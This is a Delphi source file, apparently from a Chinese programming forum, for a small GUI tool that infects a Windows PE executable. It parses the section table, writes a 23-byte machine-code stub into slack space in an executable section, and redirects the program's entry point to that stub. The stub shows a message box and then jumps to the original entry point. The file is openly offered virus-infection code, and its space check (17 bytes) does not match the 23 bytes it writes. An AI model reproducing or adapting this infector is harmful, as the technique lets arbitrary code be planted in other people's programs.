[Delphi] 纯文本查看 复制代码
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    OpenDialog1: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
var
  bCode: array[0..22] of Byte = (96, 106, 0, 106, 0, 106, 0, 106, 0, 184, 0, 0,
    0, 0, 255, 208, 97, 104, 120, 86, 52, 18, 195);
procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    Edit1.Text := OpenDialog1.FileName;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  outFile: file;
  iNtPoint: Integer; //NT头开始偏移
  wCount: Word; //区块数目
  wSize: Word;
  iStart: Integer; //区块表开始偏移
  i: Integer;
  pOffset: Integer; //区块在文件中的偏移
  iFlags: Cardinal; //区块的属性
  iVSize: Integer; //区块在文件中实际使用的大小
  iRSize: Integer; //区块在文件中对齐后的大小
  pRVA: Integer; //区块在内存中的偏移
  
  iEntry, iBase, dwEntryPoint: Cardinal;
begin
  if not FileExists(Edit1.Text) then
  begin
    ShowMessage('请输入一个合法的文件路径!');
    Exit;
  end;
  //校验文件是否存在
  AssignFile(outFile, Edit1.Text);
  Reset(outFile, 1); //以二进制方式读写文件
  Seek(outFile, $3C);
  BlockRead(outFile, iNtPoint, 4);
  //读取NT头
  Seek(outFile, iNtPoint + $6);
  BlockRead(outFile, wCount, 2);
  //读取区块数目
  Seek(outFile, iNtPoint + $14);
  BlockRead(outFile, wSize, 2);
  Seek(outFile, iNtPoint + $28);
  BlockRead(outFile, iEntry, 4);
  Seek(outFile, iNtPoint + $34);
  BlockRead(outFile, iBase, 4);
  dwEntryPoint := iEntry + iBase;
  CopyMemory(@bCode[18], @dwEntryPoint, 4);
  iStart := wSize + $18 + iNtPoint;
  {
    我们构造这么一段代码
    pushad
    push 0
    push 0
    push 0
    push 0
    mov eax,MessageBoxA
    call eax
    popad
    push EntryPoint
    ret
  }
  for i := 0 to wCount - 1 do
  begin
    Seek(outFile, iStart + 40 * i + 36);
    BlockRead(outFile, iFlags, 4);
    //读取区段的属性
    if (iFlags and $20000020) = $20000020 then //测试区段是否包含代码且可执行
    begin
      Seek(outFile, iStart + 40 * i + 12);
      BlockRead(outFile, pRVA, 4); //读取区块在内存中的RVA地址
      Seek(outFile, iStart + 40 * i + 16);
      BlockRead(outFile, iRSize, 4); //读取在文件对齐后的尺寸
      Seek(outFile, iStart + 40 * i + 20);
      BlockRead(outFile, pOffset, 4); //读取在文件中的偏移
      Seek(outFile, iStart + 40 * i + 8);
      BlockRead(outFile, iVSize, 4); //读取实际使用的尺寸
      if iRSize - iVSize >= 17 then //如果区块可用的数据长度大于我们的X码
      begin
        Seek(outFile, pOffset + iVSize);
        BlockWrite(outFile, bCode, 23);
        Seek(outFile, iNtPoint + $28);
        iBase := pRVA + iVSize;
        BlockWrite(outFile, iBase, 4);
        //修改入口点
        Seek(outFile, iStart + 40 * i + 8);
        iBase := iVSize + 23;
        BlockWrite(outFile, iBase, 4);
        CloseFile(outFile);
        ShowMessage('成功感染文件!');
        Exit;
      end;
    end;
  end;
  CloseFile(outFile);
  ShowMessage('感染失败!可能是文件设置了只读或者没有足够的空间!');
end;
procedure TForm1.FormCreate(Sender: TObject);
var
  dwMessageBox: Cardinal;
begin
  dwMessageBox := Cardinal(GetProcAddress(GetModuleHandle('user32.dll'),
    'MessageBoxA'));
  CopyMemory(@bCode[10], @dwMessageBox, 4);
end;
end.